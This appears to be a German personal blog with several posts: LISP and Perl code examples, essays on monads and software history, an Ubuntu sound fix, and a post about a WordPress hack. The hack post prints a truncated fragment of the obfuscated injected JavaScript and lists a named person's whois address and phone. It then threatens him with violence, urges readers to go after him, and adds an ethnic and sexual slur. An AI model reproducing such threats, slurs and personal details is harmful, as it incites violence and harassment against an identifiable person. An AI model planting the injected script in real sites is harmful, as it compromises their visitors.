Transitive Hülle

Ich bin zur Zeit dabei, wieder in LISP einzusteigen. In einem beruflichen Projekt, das ich in der Programmiersprache Python abgewickelt hatte, war es erforderlich, die Transitive Hülle eines Graphen zu berechnen. Deswegen habe ich dieses simple Beispiel mal genommen und versucht, es LISP-gemäß zu implementieren. Dabei ging es mir nur darum, ein bisschen zu üben.

Wem der Begriff “Transitive Hülle” fremd ist: Hat man einen gerichteten Graphen oder eine zweistellige Relation, so gilt für die Transitive Hülle: Falls zwei Kanten x->y und y->z enthalten sind, so ist auch die Kante x->z enthalten. Näheres findet man in der Wikipedia.

Der Graph soll als liste von Kanten, also z.B ((a b) (b c) (a x)) übergeben werden.
Die Definition der Berechnung in LISP erfolgt nach den Regeln:

1. Die Transitive Hülle der leeren Menge ist die leere Menge
2. Die Transitive Hülle einer einelementigen Menge ist eben diese einelementige Menge
3. Ansonsten wird die Transitive Hülle berechnet, indem die Transitive Hülle der Restliste (das CDR) berechnet wird und dann das CAR der Liste mit jedem Element der Transitiven Hülle der Restliste verglichen wird, und - falls noch eine Transition fehlt, diese hinzugefügt wird.

(defun transitive-closure (edges)
  (cond ((null edges) nil)
	((eq 1 (length edges)) edges)
	( t (union edges
		   (let ((e (car edges))
			 (l (transitive-closure (cdr edges)))
			 )
		     (loop for x in l
			when (eq (second x) (first e))
			collect (list (first x) (second e))
			when (eq (second e) (first x))
			collect (list (first e) (second x))))
		   :test #'equal))))

Welche Transitionen noch fehlen, mit dem LOOP-Macro festgestellt. Es gesucht, ob in der Transitiven Hülle der Restlliste das erste oder das zweite element des “CAR” als zeites oder erstes element einer Kante vorkommt und, falls dem so ist, die Transitive Kante hinzugenommen wird.

Beispiele:

[120]> (transitive-closure '((a b) (b c) (a x)))
((A B) (B C) (A X) (A C))

[121]> (transitive-closure '((a b) (b c) (a x) (x d)))
((A B) (B C) (A X) (X D) (A C))

Es würde mich als LISP-Wiedereinsteiger natürlich interessieren, ob es eine elegantere oder schnellere Berechnungsmöglichkeit gibt. Vielleicht findet ja ein LISP-Kenner mein Posting und hilft mir weiter. Danke im Voraus!

Warum ich Monaden nicht verstehe

Seit einiger Zeit stelle ich fest, dass ich für viele Sachen einfach zu doof bin. Ich gebe auch zu, dass mich das ärgert. Mittlerweile bin ich aber fast dahinter gekommen, warum ich dafür zu doof bin. Und genau das ist (vieleicht!) meine Chance.

Ich mache jetzt auch keinen Versuch, Monaden mit dem was ich davon mitbekommen habe zu erklären. Ich weiss ja nich nicht einmal genau, was ich mit Monaden anfangen könnte, wenn ich sie verstehen würde. Jetzt wäre natürlich die Frage angebracht, warum ich mich mit etwas rumärgere, wenn ich nich nicht mal weiss was ich davon haben könnte. Allerdings habe mir die Frage auch nicht gestellt, als ich 1980 das Buch “Programmierung des Z80″ gekauft hatte, um Z80-Maschinensprache zu lernen. Erst als ich das einigermassen konnte, habe ich meinen ersten Computer gekauft. Vorher hatte ich einmal in der Woche die Gelegenheit Mittwochs abends mit einem Einplatinencomputer zu arbeiten. Dort konnte ich dann meine Ideen ausprobieren. Später hatte ich selber einen Einplatinencomputer, den “Micro-Professor” (lächerlicher Name  [nebenbei]). Dazu muss man allerdings wissen, dass zu dieser Zeit Hobby-Computer mit dem selben Nimbus verkauft wurden, wie Spielzeug-Dampfmaschinen in den Jahrzehnten vorher: Der Filius sollte ein kleiner James Watt werden.

Ohne also zu Wissen, wozu das Programmieren eines Computers gut ist, habe ich also einfach mal damit angefangen. Dann habe ich festgestellt, dass mir Microprozessoren etwas rätselhaft erscheinen. Ich musste mir irgendwie klar machen, wie das Funktionieren des Mikroprozessors aus dem Schalten seiner Transistoren verstanden kann. Nicht in allen Details, aber nachdem ich Multiplexer, Tore, FlipFlops und Halbaddierer verstanden hatte war ich soweit zufrieden. Zum Lieferumfang des Einplatinencomputers gehörte auch eine vollständiger Assembler-Abdruck des Betriebssystems, dass man dann lesen konnte. Das hat mir viel dabei geholfen zu lernen, wie eine Tastatur oder ein Display angesteuert wird und wie die Magnetische Aufzeichung von Daten auf Cassetten funktioniert. (Keine Angst ich komme auf mein Problem mit den Monaden zurück!).

Später hatte ich nochmal ein ähnliches Problem im Zusammenhang mit objektorientierter Programmierung. Borland Pascal 5.5 war auf den Markt gekommen und wartete mit einen OOP-Zusatz auf. Lange habe ich jene grausligen Tutorials über Vererbung und virtuelle Methoden (damals als ‘Message’ bezeichnet) gelesen, in so sinnfällige Sätze stehen wie “Die Klasse ‘Biene’ ist von der Klasse ‘Fluginsekt’ abgeleitet und hat zusätzlich die Eigenschaft ‘Stachel’ … blah blah  blah und versteht neben der ererbten Botschaft ‘flieg!’ auch noch die Botschaft ‘Stich!’ …. bla bla bla. Das hat mir NICHT weitergeholfen. Erstens deswegen nicht, weil ich zuerst nicht wusste was der ganze Mist übrhaupt soll, zweitens deswegen nicht, weil ich nicht verstand wie der Compiler das überhaupt fertigbringt, das er ja den Aufruf der Botschaft ‘Flieg!’ nicht in den Code compilieren kann. Und jetzt kommt der entscheidende Punkt: erst als ich vollständig verstanden habe, dass dieser eine Sprungleiste für jede Klasse anlegt, diese beim vererben in die neue Klasse kopiert, einzelne Einträge bedarfsweise überschreibt und die Prozeduraufrufe als indirekte Unterprogrammsprünge über einen Index in diese Sprungleiste kompiliert hatte ich verstanden …

Noch ein Beispiel? Danach dann wieder zurück zu denen Monaden, zu denen ich leider immer noch nichts verwertbares sagen kann….

Ich hatte meinen ersten Job, in dem ich zwei Jahre lang die Federführung über die Weiterentwicklung eines Compilers für die Programmiersprache Dylan zu übernehmen hatte. Ich hatte vorher schon zwei Compilerbau-Projekte für Spezialsprachen abgewickelt und fühlte mich einigermassen gerüstet. Der Compiler machte in bestimmten zusammenhängen Fehler in der Behandlung von Closures. Das Problem war: Zu der Zeit wusste ich nicht mal was eine Closure wirklich ist. Mir war zwar aus Lisp 1.5 das Konzept der Dynamischen Bindung und die Assoc-Listen bekannt, aber nicht wie man bei einer mit Lexikalischer Bindung arbeitenden Programiersprache erreichen soll, dass eine Variable nach dem abräumen des Stacks für eine innere Funktion, die exportiert wurde, noch zur Verfügung stehen kann. Bei Lisp 1.5 fällt der Zugriff auf die alte Variablenbindung nämlich einfach dadurch ab, dass die A-Liste von Aufruf zu Aufruf weitergereicht und ggf ergänzt wird.

Die Lösung des Problems für Lexikalische Bindung ist einfach die, dass man feststellt, welche freien Variablen die zurückgelieferte Funktion verwendet und aus diesen Variablenbindungen und der Funktion ein neues Gebilde zusammenpappt (die “Closure” eben!) und dann diese  anstatt der reinen Funktion als Wert zurück an den Aufrufer liefert. So banal ist eine Closure, so habe ich es dann auch umgesetzt und die Nutzer des Compilers - etwa 20 Entwickler - waren zufrieden damit - Auch wenn nicht alle davon Closures wissentlich verwendet haben. Aber auch hier: Ich habe erst dann verstanden was das Konzept Closure bedeutet, als ich gelernt habe was sich technisch dahinter verbirgt und nicht aufgrund irgendeines abstrakten Geseihers. Und ich zweifle auch daran, dass ich heute Closures verwenden würde wenn ich ich versucht hätte, sie als Konzept der reinen mathematischen Logik zu verstehen. Informatik ist am Ende immer eine Tun-Wissenschaft, die Neue Konzepte und Ideen aufbauend auf vorhandenen umsetzt und keine Sammlungen von esoterischen Einfällen. Auch wenn man auf Besprechungen und Kozeptpräsentationen leicht zu einer anderen Überzeugung kommen möchte.

Zurück zu den Monaden, die mich derzeit wie ein bisschen zwicken und jucken. Man findet im Internet viel Material darüber, allerdings hat bisher nichts davon mir bisher ein  “Ah!” entlocken können. Ich weiss ja schon lange dass man immer große Hoffnungen auf die Amerikanischen Internet-Autoren setzen kann, da diese sich immer sehr viel Mühe geben auch verstanden zu werden. Die Europäer sind da öfter anders drauf. Nicht selten versuchen diese nicht ernsthaft, etwas zu erklären, sondern suchen die Bewunderung unter der Leserschaft.  Im speziellen Fall der Monaden gibt es übrigens fast keinen Beitrag in dem nicht erwähnt ist, daß das Internet voll von Beiträgen zu Monaden ist. Und - ja - ich kann diese Ansicht teilen und um so größer ist meine Frustration darüber, dass diese Materie nicht in meinen Kopf will. Die Programmiersprache, die ich derzeit am besten kenne ist Perl und versuche gerade meine Kenntnisse in Common Lisp zu vervollständigen. Was mir am besten helfen würde, wäre ein konstruktive Einführung, in der Monaden in Common Lisp oder Perl implementiert und erläutert würden. Ich füchte aber, dass ich am Ende der langen Weg gehen und Haskell lernen muss. Sobald ich dann die Monaden verstanden habe, gelobe ich, keinen Blogbeitrag über Monaden zu schreiben. Denn die Eingeweihten und Versteher der Monaden, beklagen sich an allen Ecken und Enden darüber, dass jeder, bei dem der Groschen gefallen ist, anschließend darüber bloggt.

Werde ich nicht tun, versprochen!

Kein Sound nach der Installation von Ubuntu 10.04 (Lucid Lynx)

Nach dem Upgrade von Ubuntu 9.10 auf 10.04 war bei mir kein Sound mehr zu hören. Um das Problem zu lösen, musste ich bei pavucontrol (zu installieren mit “sudo aptitude install pavucontrol”) unter der Lasche “Ausgabegeräte” und dort unter “Internes Audio Analog Stereo” den “Port” von “Analog Output” auf “Analog Speakers” zurückstellen. Pavucontrol habe ich sowieso auf meinem Rechner installiert, da man damit wunderbar Musik über das Netzwerk streamen kann.

Algorithmenwerk.de wurde gehackt: “itsallbreaksoft.net”

Nett, meine Website wurde gehackt. Während ich den Artikel youtube mp3 instant rippen schrieb, fiel mir auf, dass mein Browser immer auf die Adresse “itsallbreaksoft.net” zugriff.

Eine Whois-Anfrage dieser Domain liefert folgendes russisches Arschloch:

Registration Service Provided By: -
Contact: director@climbing-games.com
Visit: http://www.ruler-domains.com

Domain name: itsallbreaksoft.net

Registrant Contact:
   Nexton Limited
   Ryabov Sergey ()

   Fax:
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Administrative Contact:
   Nexton Limited
   Ryabov Sergey (director@climbing-games.com)
   +79219270961
   Fax: +79219270961
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Technical Contact:
   Nexton Limited
   Ryabov Sergey (director@climbing-games.com)
   +79219270961
   Fax: +79219270961
   Scherbakova st., 6-38
   Saint-Petersburg,  197375
   RU

Wenn ich ihm mal begegnen sollte, werde ich ihm die Finger brechen und seine Mutter ficken (Wundern sie sich nicht über diesen vulgären Ausbruch, in Russland sagt man das so )

Der Hack ist leicht zu beseitigen. In der Datei

./wp-content/themes/[THEME]/header.php

befindet sich ein Stück Javasript-code:

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74
%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75

blah
blah
blah 

%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B
%268E%261B%264D0tdsjqu%264F1')</script>

Dieser Code muss entfernt werden. Danach erstmal diese Datei mit

sudo chmod a-w header.php

vor Schreibenzugriffen schützen. Das ist im Moment die einzige sinnvolle Maßnahme, da auch die aktuelle Wordpress-Version von diesem Exploit betroffen sein kann.

Danach empfehle ich einen Besuch in St.Petersburg. Nehmen Sie eine Rohrzange und ein Kondom mit! Russinnen duschen nicht so oft wie Europäerinnen!

Youtube mp3 instant rippen

Cooler Titel, oder? Und es geht um folgendes: Gerade einen schönen Titel auf youtube gesehen? Davon wollen Sie auf Knopfdruck einen mp3-Abzug haben? Das kann richtig Arbeit werden! Man muss nämlich den URL aus dem Browser fischen, dann mit “youtube-dl” das flashvideo ziehen, warten bis es da ist, dann mit mplayer nach mp3 konvertieren und das hinten raus gefallene mp3-fiile geeignet umbenennen und in sein Musikarchiv kopieren, wo der Musik Player es dann findet.

Das war mir zu lästig und manchmal gucke ich auch am späten Abend nach zwei Gläsern Wein noch youtube. Dann spätestens wird Alles zu fehleranfällig.

Heute habe ich ein Icon auf meinem “Panel” auf das ich nur drauf klicken muss dahinter ist ein Skript, das

1. In der Firefox-History den letzten link sucht
2. Die Youtube-Seite zieht
3. Aus dieser den Titel extrahiert
4. Das Flash-Video von Youtube runterlädt
5. Dieses nach MP3 konvertiert
6. An geeigneter Stelle das mp3-File mit dem richtigen Namen ablegt

Damit das ganze klappt müssen unter ubuntu 9.10 folgende Pakete installiert werden:

sqlite3 - Das ist nötig, da Firefox seine history als sqlite-datenbank ablegt

libdbd-sqlite3-perl - Das Perl-Interface zu sqlite

youtube-dl - Youtube-Downloader

#!/usr/bin/perl

# Dieses Skript holt ein Video aus youtube aufgrund einer URL aus der
# Firefox-history, convertiert es nach mp3, holt den Namen aus youtube
# und speichert dann das mp3-file unter diesem Namen ab.

# Patrick Krusenotto, Januar 2010
# LIZENZBEDINGUNGEN: 
# Machen Sie damit was sie wollen. Hauptsache Sie machen es.

use strict;
use LWP::Simple;
use HTML::Entities;
use DBI;

sub get_default_firefox_profile {
  # unter der sehr warscheinlilchen Annahme, dass das default-profile
  # verwendet wird, muss dieses erst namentlich bestimmt werden
  for (`cat ~/.mozilla/firefox/profiles.ini`) {
    if (/^Name=default$/../^Path=/) {
      if (/^Path=(.*)$/) {
	return $1;
      }
    }
  }
  return undef;
}

sub get_firefox_default_profile {
  # das profile muss erstmal kopiert werden, denn firefox ist
  # vermutlich noch offen und auf der datenbank ein Lock und sqlite
  # gestattet dann nicht, das profile zu lesen.
  my $profile = get_default_firefox_profile();
  system("cp ~/.mozilla/firefox/$profile/places.sqlite /tmp/youtube.sqlite");
  return "/tmp/youtube.sqlite";
}

sub get_last_url_from_firefox_default_profile {
  # fische die letzte url aus der tabelle "moz_places"; der
  # firefox-history
  my $dbfile=get_firefox_default_profile();
  my $dbh = DBI->connect("dbi:SQLite:dbname=$dbfile","","");
  my $url = $dbh->selectall_arrayref("select url from moz_places where oid = (select max(oid) from moz_places); ");
  return $url->[0]->[0];
}

sub youtube_title {
  # ermittle den titel aus der html-seite. Das ist reine Heuristik und
  # könnte schon nächste woche nicht mehr funktionieren. Mit
  # HTML::Parser was zu bauen, war mir zu lästig
  my $id=shift;
  my @content = split /\n/, get "http://www.youtube.com/watch?v=$id";
  my $title;
  # Mit dieser Shell-Anweisung kann die auslösung des namens getestet
  # werden, falls der aufbau der yt-seiten sich ändern sollte: curl
  # http://www.youtube.com/watch?v=KLLxdcrk0-s 2>/dev/null | perl -ne
  # '/^\s*-\s(.*)$/ and print $1'
  for (@content) {
    if ($_=~ /^\s+-\s(.*)$/ ) {
      $title=$1;
      last;
    }
  }
  # In dem Titel ist einiges an dreck drin. Insbesondere HTML-Entities
  # und Sonderzeichen die bei Dateinamen unpraktisch sind. FOTT DAMETT! :
  $title = decode_entities($title);
  $title =~ s/'//g;
  $title =~ s/"//g;
  $title =~ s/\(//g;
  $title =~ s/\)//g;
  return $title;
}

# =============================================================================
# SECTION: MAIN
# =============================================================================

chdir "/tmp";

my $url = $ARGV[0] || get_last_url_from_firefox_default_profile();

my $id;
if ($url =~m|youtube|) {
  $url=~m|http://www\.youtube\.com/watch\?v=([^&]+)|;
  $id=$1
} else {
  $id = $url
}

my $title = youtube_title($id);

print "=====================================================================\n";
print "$title\n";
print "=====================================================================\n";

if (! -f "$id.mp3") {
  system("youtube-dl $id");
  system("mplayer -dumpaudio -dumpfile \"$title.mp3\" $id.flv");
}

system ("cp", "$title.mp3", "~/Musik");

Komplexe Systeme sind Scheiße

Ist diese Zeit vorbei?

Eine Polemik gegen Dinge, aus denen sich keine Essenz destillieren läst

Mephisto: Wer will was lebendiges erkennen und beschreiben, sucht erst den Geist heraus zu treiben. Dann hat er die Teile in seiner Hand. Fehlt leider nur das geistige Band

Wann haben Sie zuletzt etwas in Software gesehen, was sie umgehauen hat? Was einfach so fantastisch war, daß sie erst nicht glauben konnten, dass soetwas möglich ist, und was sie direkt ungeheuer nützlich fanden? Keine einfache Frage oder?

Ist Windows Vista(ok, scheiß Beispiel ) eindrucksvoll oder ein LAMPP-Server aus Linux, Apache, PHP, Perl ? Seien sie ehrlich, es ist nicht eindrucksvoll. Es ist einfach nur eine zusammengequrltes Zeuch, bei dem man sich vor allem mit einem befasst: Konfigurieren, Doku lesen und weiter konfigurieren. (Teil meines täglichen Brotes, übrigens)

Ich kann die Eingangsfrage aber aus meiner Perspektive beantworten: Das Vor-vor-letzte wirklich eindrucksvolle in Sachen Software habe ich 1975 gesehen. Es war ein wissenschaftlicher Taschenrechner, den meine Eltern meinen älteren Geschwistern für die Oberstufe gekauft hatten. Er konnte schneller als ich multiplizieren, addieren, dividieren usw. Und er konnte noch sehr sonderbare spezielle Sachen wie “sin”, “tan” - mit denen ich nichts anfangen konnte, bestimmen. Irgendetwas Magisches eben. Dann leuchteten die Ziffern in herrlichen rot und von dem ganzen Teil ging eine wunderbare Aura aus. Daß das mit Software zu tun hatte, wusste ich mit damals 8 Jahren garnicht.

Ich muss aber eine andere Software erwähnen, die ich um das Jahr 1986 mal auf einer Veranstaltung gesehen habe, die sich “Bergische Computertage” nannte und in der Uni Wuppertal stattfand. Die ganze Veranstaltung bestand aus Vorführungen von Computersystemen in einer aberwitzigen Typenvielfalt. Grafiken, die Temperaturgradienten von erhitzten Metallen zeigten, Berechnungen des Apfelmänchens und und Ähnliches. Unter diesen Computersystemen war eines, das mit einem Algebrasystem ausgestattet war. Dieses System konnte wiederum etwas sehr faszinierendes: Stammfunktionen bestimmen. Da das zu Fuß ein ziemliches Gefudel und manchmal sehr frustrierend sein konnte, war ich platt, wie schnell der Kasten entweder eine Stammfunkion ausgespuckt hatte oder zumindest sagen konnte, dass er keine finden kann. Das System war übrigens ins LISP geschrieben und es handelte sich um Macsyma.

Das war 1986! Heute ist fast 2010!

Das nächste Ding, das mich hätte beeindrucken können, tat dies schon nicht mehr. Es war 1987 eine Programmiersprache die für den SUPRENUM (Superrechner für Numerik) entwickelt worden war und über die ich eine Proseminararbeit schreiben sollte. Ein brotiges etwas von einer deskriptiven und imperativen Sprache, ein wirrer Verhau von hybriden Konzepten. Grauslich! Natürlich wurde diese Programmiersprache nie vollständig implementiert und überhaupt war das ganze 200 Mio SUPRENUM-Projekt am Ende ein Griff ins Klo.

Danch habe ich noch hin und wieder ein Highlight gesehen. “DOOM” von id Software zum Beispiel. Vielleicht war das die letze marktgerechte Software, die stabil lief. Danach kam nur noch Matsch.

Woran liegt das?

Die Frage ist natürlich nicht leicht zu beantworten. Zum einen bin ich davon überzeugt, daß Bjarne Stroustroup (der Erfinder des C++ Präprozessors) sein C++ aus reiner Böswilligkeit entwickelt hat und damit die Weltweite Entwicklung des Computers um wenigstens zwei Dekaden zurückwerfen wollte. C ist ja schon eine Zumutung, aber C++ ist ein einmaliger Fehlgriff in der Geschichte der Programmiersprachen. Es konnte auch nur so erfolgreich werden, weil jeder, der OOP nicht schon mit Borland Pascal erlernt hatte, OOP lernen wollte und in diesen Abgrund, den sich auch nur ein Skandinavier bei 6 monatiger Dunkelheit ausdenken kann, hinabsteigen musste. Um diesen perversen Unfug zu bewältigen, kaufte man derzeit Fachliteratur nicht nach Exemplaren, sondern nach Kilos. Voll mit bescheuerten Beispielen von der Taxonomie von Insekten oder der Hierarchisierung von Kraftfahrzeugen, um objektorientierte Programmierung zu vermittlen. Neulich habe ich noch einiger dieser wenig lesenswerten Bücher dem Altpapier überantwortet, aus dem sie hoffentlich irgrendwann als Postkarten wieder auferstehen, auf denen nette Grüße notiert werden. Jedenfalls hätte das arme Papier das verdient.

Zweitens hat Mitte bis Ende der 80 Jahre in der öffentlichen Rezeption und in der Rezeption der Computernutzer dieser eine massive Bedeutungsveränderung erfahren. Das Aufregende an der Computerei in den achziger Jahren war, daß jeder, der damit zu tun hatte, versuchte, herauszubekommen, was man alles damit machen konnte! Jedem, der eine erste Programiersprache erlernt hatte, wurde schnell klar was für ein irres Potenzial in der “Universellen Maschine” steckt. Und es war ungeheuer aufregend, rauszufinden, welche Probleme (Schach, Spiele, Mathe, Datenbanken) man damit lösen könnte, wenn man nur tief genug in die Materie einsteigen würde. Programmieren habe ich als ein einziges intellektuelles Lustgefühl empfunden Aber niemals als Arbeit oder anstrengend. Doch dann sollte alles anders kommen:
Programmierung, die noch von Doneld E. Knuth in seinem Werk “The Art of Computer Programming” als Kunst bezeichnet wurde, sollte auf einmal zu einer Ingenieurstätigkeit heruntergestuft werden. Eine Ingenieurstätigkeit! Pfui!

Himmel!

Ein Ingenieur ist eine Person, die zum Beispiel einen weitern, neuen Rasenmäher konstruiert. Genauso laut und stinkend, etwas anders aussehend aber am Ende auf demselben Prinzip basierend. Das hat mit Programmieren überhaupt nichts zu tun, denn Softwareentwicklung ist ja gerade die Entdeckung eines neuen Prinzips! - So jedenfalls meine Wahrnehmung.

Gleichzeitig verschwanden die vielen visionären Publikationen aus dem Bereich der Künstlichen Intelligenz und das ganze Thema KI überhaupt aus den Bücherregalen. Es erschienen nur noch Publikationen zu einem Thema, das aus Programmierern (mit einem Kopf!) Ingenieure (mit einem Schraubenzieher!) machen sollte: OOP; und zwar zusammen mit einem ebenfalls nervtötenden Begleiter: Nämlich “Grafische Benutzeroberflächen”. Von nun an war die ganze Kreativität fott.

Ich möchte die Verdienste der objektorientierten Programmierung aber nicht schmälern. Ich weiß, das Softwareprodukte wie “Empire Earth” und seine ungezählten Remakes ohne OOP, ohne Konzepte wie “feinkörnige Kapselung” und Vererbung und virtuelle Methoden nicht möglich wären. Auch moderne GUIs nicht. Auf der Anderen Seite muss man einfach sehen, daß dadurch die Tätigkeit des Programmmierers nur in die Breite und nicht in die Tiefe gewachsen ist. Algorithmen verloren im Bewustsein der Entwickler ihre Bedeutung und statt dessen schlug man sich mit Objekten, Vererbung oder manchmal einfach nur noch mit den Tücken eines GUI-Frameworks herum. Damit wurde der Weg bereitet, zu dem was wir heute als modernen Computer ansehen: Eine Maschine, mit der der man sich in Foren oder im Usenet gegenseitig anranzen kann, Pornos oder einfach dummes Zeug aus dem Internet runterläd und das nächste T-Shirt bestellt. Die Goldene Zeit der Programmierer ist erstmal vorbei.

Mit der nahezu unglaublich klobligen und uneleganten JAVA-Technologie konnte noch eins oben drauf gesetzt werden. Mit seiner bürokratischen und gleichzeitig höllisch geschwätzigen Natur beherrscht es derzeit die Welt der Programmierer und der Programmierung. Aber es ist Besserung in Sicht:

Microsoft macht es mit F#, andere mit Haskell, OCaml, Erlang usw. Diese Computersprachen können helfen, dass wir den Focus verlegen und wieder zurückkommen zum knappen, eleganten, und stilsicheren. Eben denjenigen Ideen in der Computerrei, denen man eine Essenz entnehmen kann. Das kann früher oder später dazu führen, das die Figuren in Computerspielen nicht sich nicht mehr so nervtötend dämlich benehmen, der Computer wieder ein interessantes Gerät wird. Dass sich wieder mehr Leute fragen, wie man mehr in die Tiefe der Möglichkeiten eindringen kann, als alles in die Breite zu ziehen.

Clusteranalyse

Im Zusammenhang mit der Untersuchung des Surf-Verhaltens von Website-Besuchern bin ich auf das Mittel der Clusteranalyse gestossen. Die Clusteranalyse dient dazu, Individuen, denen ein oder mehrere numerische Merkmale zugeordnet werden könnnen, zu Clustern zusammen zu fassen, sodaß ähnliche Individuen im gleichen Cluster landen. Internet-Shops nutzen soche Analysen gerne um Nutzern zum Beispiel Bücher zu empfehlen. Dabei wird untersucht, ob es andere Nutzer mit einem ähnlichen Profil gibt. Die Bücher, die diese außerdem gekauft haben werden dem Shop-Benutzer dann empfohlen.

Bei der hier vorgestellten hierrarchischen Clusteranalyse werden wird der gesamte Datenbestand als Baum zusammengefasst. Die Individuen befinden sich nur in den Blättern

Der Algrithmus geht so vor, daß zunächst alles Individuen als Cluster aufegefasst werden. Sodann werden immer die Cluster, die sich am ähnlichsten sind (-> den geringsten Euklidischen Abstand haben) zu einem Cluster zusammengefasst. Die Berechnung endet, wenn nur noch ein Cluster übrig bleibt

Das Modul unten ist ein erster Prototyp, der eine solche Analyse durchführt.

package Cluster;
use strict;
use warnings;
# hierachische Clusteranalyse                                                                                                                                                                                                                               
sub new {
    # erzeuge neuen endknoten                                                                                                                                                                                                                               
    my ($class,$center) = @_;
    return bless {
        center => $center,
        nodes  => 1,
    }, $class;
}

sub combine {
    # fasse zwei cluster zu einem zusammen                                                                                                                                                                                                                  
    my ($class,$l,$r)= @_;
    my $res = bless {
        left=>$l,
        right=>$r,
        nodes=>do {
            my $n = 0;
            $n += $l->{nodes} if $l;
            $n += $r->{nodes} if $r;
            $n;
        },
    }, $class;
    my $fact_l = $l->{nodes};
    my $fact_r = $r->{nodes};
    my $quot = $res->{nodes};
    for (0..$#{$l->{center}}) {
        $res->{center}->[$_]=
             ($fact_l*$l->{center}->[$_]
              +$fact_r*$r->{center}->[$_])
             / $quot;
    }
    return $res;
}

sub distance {
    # bestimme die Distanz zwischen zwei clustern                                                                                                                                                                                                           
    my ($self,$other)=@_;
    die "Incompatible clusters" unless scalar(@{$self->{center}}) == scalar(@{$other->{center}});
    my $N = scalar(@{$self->{center}});
    my $h2;
    for my $i (0.. $N-1) {
        $h2 += ($self->{center}->[$i] - $other->{center}->[$i])**2;
    }
    return sqrt($h2);
}

use Memoize;
memoize "distance";

sub do_clustering {
    # führe hierarchisches clustering durch.                                                                                                                                                                                                                
    my (@clusters)  = @_;
    while (scalar(@clusters) > 1) {
        my $N=scalar(@clusters);
        my ($i_min,$j_min,$d_min) = (-1,-1,1e99);
        for my $i (0..$N-1) {
            for my $j ($i+1..$N-1) {
                my $d = $clusters[$i]->distance($clusters[$j]);
                if ($d < $d_min) {
                    ($i_min,$j_min,$d_min)=($i,$j,$d)
                }
            }
        }
        # $i_min und $j_min zusammenfassen                                                                                                                                                                                                                  
#       print "cluster($i_min,$j_min)\n";                                                                                                                                                                                                                   
        $clusters[$i_min] = __PACKAGE__->combine($clusters[$i_min],$clusters[$j_min]);
        $clusters[$j_min]=$clusters[$#clusters];
        pop @clusters;
    }
    return $clusters[0];
}
1;

Aufruf-Beispiel:

use Cluster;
my @clusters;

for  (1..200) {
    push @clusters,Cluster->new([int(rand(10)-5),int(rand(10)-5),int(rand(10)-5)]);
}

use Data::Dumper;
print Dumper( Cluster::do_clustering(@clusters));